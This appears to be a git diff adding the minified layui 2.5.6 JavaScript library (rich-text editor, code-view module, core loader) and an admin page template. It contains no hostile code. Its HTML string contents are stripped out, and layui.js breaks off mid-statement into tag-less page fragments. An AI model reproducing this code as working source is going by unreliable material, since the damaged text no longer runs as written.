            "),setTimeout(function(){o.focus()},10)):c[a]&&c[a].call(this,u),h.call(t,s,i)}},d=/image/;s.find(">i").on("mousedown",function(){var t=e(this),i=t.attr("layedit-event");d.test(i)||u.call(this)}).on("click",function(){var t=e(this),i=t.attr("layedit-event");d.test(i)&&u.call(this)}),o.on("click",function(){h.call(t,s),i.close(x.index)})},b=function(t,e){var l=this,n=i.open({type:1,id:"LAY_layedit_link",area:"350px",shade:.05,shadeClose:!0,moveType:1,title:"超链接",skin:"layui-layer-msg",content:['

              ','
            • ','','
              ','',"
              ","
            • ",'
            • ','','
              ','",'","
              ","
            • ",'
            • ','','',"
            • ","
            "].join(""),success:function(t,n){var o="submit(layedit-link-yes)";a.render("radio"),t.find(".layui-btn-primary").on("click",function(){i.close(n),l.focus()}),a.on(o,function(t){i.close(b.index),e&&e(t.field)})}});b.index=n},x=function(t){var a=function(){var t=["[微笑]","[嘻嘻]","[哈哈]","[可爱]","[可怜]","[挖鼻]","[吃惊]","[害羞]","[挤眼]","[闭嘴]","[鄙视]","[爱你]","[泪]","[偷笑]","[亲亲]","[生病]","[太开心]","[白眼]","[右哼哼]","[左哼哼]","[嘘]","[衰]","[委屈]","[吐]","[哈欠]","[抱抱]","[怒]","[疑问]","[馋嘴]","[拜拜]","[思考]","[汗]","[困]","[睡]","[钱]","[失望]","[酷]","[色]","[哼]","[鼓掌]","[晕]","[悲伤]","[抓狂]","[黑线]","[阴险]","[怒骂]","[互粉]","[心]","[伤心]","[猪头]","[熊猫]","[兔子]","[ok]","[耶]","[good]","[NO]","[赞]","[来]","[弱]","[草泥马]","[神马]","[囧]","[浮云]","[给力]","[围观]","[威武]","[奥特曼]","[礼物]","[钟]","[话筒]","[蜡烛]","[蛋糕]"],e={};return layui.each(t,function(t,i){e[i]=layui.cache.dir+"images/face/"+t+".gif"}),e}();return x.hide=x.hide||function(t){"face"!==e(t.target).attr("layedit-event")&&i.close(x.index)},x.index=i.tips(function(){var t=[];return layui.each(a,function(e,i){t.push('
          • '+e+'
          • ')}),'
              '+t.join("")+"
            "}(),this,{tips:1,time:0,skin:"layui-box layui-util-face",maxWidth:500,success:function(l,n){l.css({marginTop:-4,marginLeft:-10}).find(".layui-clear>li").on("click",function(){t&&t({src:a[this.title],alt:this.title}),i.close(n)}),e(document).off("click",x.hide).on("click",x.hide)}})},k=function(t){var e=this,l=i.open({type:1,id:"LAY_layedit_code",area:"550px",shade:.05,shadeClose:!0,moveType:1,title:"插入代码",skin:"layui-layer-msg",content:['
              ','
            • ','','
              ','","
              ","
            • ",'
            • ','','
              ','',"
              ","
            • ",'
            • ','','',"
            • ","
            "].join(""),success:function(l,n){var o="submit(layedit-code-yes)";a.render("select"),l.find(".layui-btn-primary").on("click",function(){i.close(n),e.focus()}),a.on(o,function(e){i.close(k.index),t&&t(e.field)})}});k.index=l},C={html:'',strong:'',italic:'',underline:'',del:'',"|":'',left:'',center:'',right:'',link:'',unlink:'',face:'',image:'',code:'',help:''},w=new c;t(n,w)});layui.define("jquery",function(e){"use strict";var a=layui.$,l="http://www.layui.com/doc/modules/code.html";e("code",function(e){var t=[];e=e||{},e.elem=a(e.elem||".layui-code"),e.about=!("about"in e)||e.about,e.elem.each(function(){t.push(this)}),layui.each(t.reverse(),function(t,i){var c=a(i),o=c.html();(c.attr("lay-encode")||e.encode)&&(o=o.replace(/&(?!#?[a-zA-Z0-9]+;)/g,"&").replace(//g,">").replace(/'/g,"'").replace(/"/g,""")),c.html('
            1. '+o.replace(/[\r\t\n]+/g,"
            2. ")+"
            "),c.find(">.layui-code-h3")[0]||c.prepend('

            '+(c.attr("lay-title")||e.title||"code")+(e.about?'layui.code':"")+"

            ");var d=c.find(">.layui-code-ol");c.addClass("layui-box layui-code-view"),(c.attr("lay-skin")||e.skin)&&c.addClass("layui-code-"+(c.attr("lay-skin")||e.skin)),(d.find("li").length/100|0)>0&&d.css("margin-left",(d.find("li").length/100|0)+"px"),(c.attr("lay-height")||e.height)&&d.css("max-height",c.attr("lay-height")||e.height)})})}).addcss("modules/code.css","skincodecss"); \ No newline at end of file diff --git a/start/layui/layui.js b/start/layui/layui.js new file mode 100644 index 0000000..99dba90 --- /dev/null +++ b/start/layui/layui.js @@ -0,0 +1,2 @@ +/** layui-v2.5.6 MIT License By https://www.layui.com */ + ;!function(e){"use strict";var t=document,n={modules:{},status:{},timeout:10,event:{}},r=function(){this.v="2.5.6"},o=function(){var e=t.currentScript?t.currentScript.src:function(){for(var e,n=t.scripts,r=n.length-1,o=r;o>0;o--)if("interactive"===n[o].readyState){e=n[o].src;break}return e||n[r].src}();return e.substring(0,e.lastIndexOf("/")+1)}(),a=function(t){e.console&&console.error&&console.error("Layui hint: "+t)},i="undefined"!=typeof opera&&"[object Opera]"===opera.toString(),u={layer:"modules/layer",laydate:"modules/laydate",laypage:"modules/laypage",laytpl:"modules/laytpl",layim:"modules/layim",layedit:"modules/layedit",form:"modules/form",upload:"modules/upload",transfer:"modules/transfer",tree:"modules/tree",table:"modules/table",element:"modules/element",rate:"modules/rate",colorpicker:"modules/colorpicker",slider:"modules/slider",carousel:"modules/carousel",flow:"modules/flow",util:"modules/util",code:"modules/code",jquery:"modules/jquery",mobile:"modules/mobile","layui.all":"../layui.all"};r.prototype.cache=n,r.prototype.define=function(e,t){var r=this,o="function"==typeof e,a=function(){var e=function(e,t){layui[e]=t,n.status[e]=!0};return"function"==typeof t&&t(function(r,o){e(r,o),n.callback[r]=function(){t(e)}}),this};return o&&(t=e,e=[]),!layui["layui.all"]&&layui["layui.mobile"]?a.call(r):(r.use(e,a),r)},r.prototype.use=function(e,r,l){function c(e,t){var r="PLaySTATION 3"===navigator.platform?/^complete$/:/^(complete|loaded)$/;("load"===e.type||r.test((e.currentTarget||e.srcElement).readyState))&&(n.modules[d]=t,y.removeChild(h),function o(){return++m>1e3*n.timeout/4?a(d+" is not a valid module"):void(n.status[d]?s():setTimeout(o,4))}())}function s(){l.push(layui[d]),e.length>1?p.use(e.slice(1),r,l):"function"==typeof r&&r.apply(layui,l)}var p=this,f=n.dir=n.dir?n.dir:o,y=t.getElementsByTagName("head")[0];e="string"==typeof e?[e]:e,window.jQuery&&jQuery.fn.on&&(p.each(e,function(t,n){"jquery"===n&&e.splice(t,1)}),layui.jquery=layui.$=jQuery);var d=e[0],m=0;if(l=l||[],n.host=n.host||(f.match(/\/\/([\s\S]+?)\//)||["//"+location.host+"/"])[0],0===e.length||layui["layui.all"]&&u[d]||!layui["layui.all"]&&layui["layui.mobile"]&&u[d])return s(),p;var v=(u[d]?f+"lay/":/^\{\/\}/.test(p.modules[d])?"":n.base||"")+(p.modules[d]||d)+".js";if(v=v.replace(/^\{\/\}/,""),!n.modules[d]&&layui[d]&&(n.modules[d]=v),n.modules[d])!function g(){return++m>1e3*n.timeout/4?a(d+" is not a valid module"):void("string"==typeof n.modules[d]&&n.status[d]?s():setTimeout(g,4))}();else{var h=t.createElement("script");h.async=!0,h.charset="utf-8",h.src=v+function(){var e=n.version===!0?n.v||(new Date).getTime():n.version||"";return e?"?v="+e:""}(),y.appendChild(h),!h.attachEvent||h.attachEvent.toString&&h.attachEvent.toString().indexOf("[native code")<0||i?h.addEventListener("load",function(e){c(e,v)},!1):h.attachEvent("onreadystatechange",function(e){c(e,v)}),n.modules[d]=v}return p},r.prototype.getStyle=function(t,n){var r=t.currentStyle?t.currentStyle:e.getComputedStyle(t,null);return r[r.getPropertyValue?"getPropertyValue":"getAttribute"](n)},r.prototype.link=function(e,r,o){var i=this,u=t.createElement("link"),l=t.getElementsByTagName("head")[0];"string"==typeof r&&(o=r);var c=(o||e).replace(/\.|\//g,""),s=u.id="layuicss-"+c,p=0;return u.rel="stylesheet",u.href=e+(n.debug?"?v="+(new Date).getTime():""),u.media="all",t.getElementById(s)||l.appendChild(u),"function"!=typeof r?i:(function f(){return++p>1e3*n.timeout/100?a(e+" timeout"):void(1989===parseInt(i.getStyle(t.getElementById(s),"width"))?function(){r()}():setTimeout(f,100))}(),i)},n.callback={},r.prototype.factory=function(e){if(layui[e])return"function"==typeof n.callback[e]?n.callback[e]:null},r.prototype.addcss=function(e,t,r){return layui.link(n.dir+"css/"+e,t,r)},r.prototype.img=function(e,t,n){var r=new Image;return r.src=e,r.complete?t(r):(r.onload=function(){r.onload=null,"function"==typeof t&&t(r)},void(r.onerror=function(e){r.onerror=null,"function"==typeof n&&n(e)}))},r.prototype.config=function(e){e=e||{};for(var t in e)n[t]=e[t];return this},r.prototype.modules=function(){var e={};for(var t in u)e[t]=u[t];return e}(),r.prototype.extend=function(e){var t=this;e=e||{};for(var n in e)t[n]||t.modules[n]?a("模块名 "+n+" 已被占用"):t.modules[n]=e[n];return t},r.prototype.router=function(e){var t=this,e=e||location.hash,n={path:[],search:{},hash:(e.match(/[^#](#.*$)/)||[])[1]||""};return/^#\//.test(e)?(e=e.replace(/^#\//,""),n.href="/"+e,e=e.replace(/([^#])(#.*$)/,"$1").split("/")||[],t.each(e,function(e,t){/^\w+=/.test(t)?function(){t=t.split("="),n.search[t[0]]=t[1]}():n.path.push(t)}),n):n},r.prototype.url=function(e){var t=this,n={pathname:function(){var t=e?function(){var t=(e.match(/\.[^.]+?\/.+/)||[])[0]||"";return t.replace(/^[^\/]+/,"").replace(/\?.+/,"")}():location.pathname;return t.replace(/^\//,"").split("/")}(),search:function(){var n={},r=(e?function(){var t=(e.match(/\?.+/)||[])[0]||"";return t.replace(/\#.+/,"")}():location.search).replace(/^\?+/,"").split("&");return t.each(r,function(e,t){var r=t.indexOf("="),o=function(){return r<0?t.substr(0,t.length):0!==r&&t.substr(0,r)}();o&&(n[o]=r>0?t.substr(r+1):null)}),n}(),hash:t.router(function(){return e?(e.match(/#.+/)||[])[0]||"":location.hash}())};return n},r.prototype.data=function(t,n,r){if(t=t||"layui",r=r||localStorage,e.JSON&&e.JSON.parse){if(null===n)return delete r[t];n="object"==typeof n?n:{key:n};try{var o=JSON.parse(r[t])}catch(a){var o={}}return"value"in n&&(o[n.key]=n.value),n.remove&&delete o[n.key],r[t]=JSON.stringify(o),n.key?o[n.key]:o}},r.prototype.sessionData=function(e,t){return this.data(e,t,sessionStorage)},r.prototype.device=function(t){var n=navigator.userAgent.toLowerCase(),r=function(e){var t=new RegExp(e+"/([^\\s\\_\\-]+)");return e=(n.match(t)||[])[1],e||!1},o={os:function(){return/windows/.test(n)?"windows":/linux/.test(n)?"linux":/iphone|ipod|ipad|ios/.test(n)?"ios":/mac/.test(n)?"mac":void 0}(),ie:function(){return!!(e.ActiveXObject||"ActiveXObject"in e)&&((n.match(/msie\s(\d+)/)||[])[1]||"11")}(),weixin:r("micromessenger")};return t&&!o[t]&&(o[t]=r(t)),o.android=/android/.test(n),o.ios="ios"===o.os,o.mobile=!(!o.android&&!o.ios),o},r.prototype.hint=function(){return{error:a}},r.prototype.each=function(e,t){var n,r=this;if("function"!=typeof t)return r;if(e=e||[],e.constructor===Object){for(n in e)if(t.call(e[n],n,e[n]))break}else for(n=0;na?1:o
            +
            + + +
              +
            • + + + +
            • +
            • + + + +
            • +
            • + +
            • + +
            • + +
            • +
            +
            + + +
            +
            + +
            +
            + + + + + + + +
            +
            +
            + + +
            + +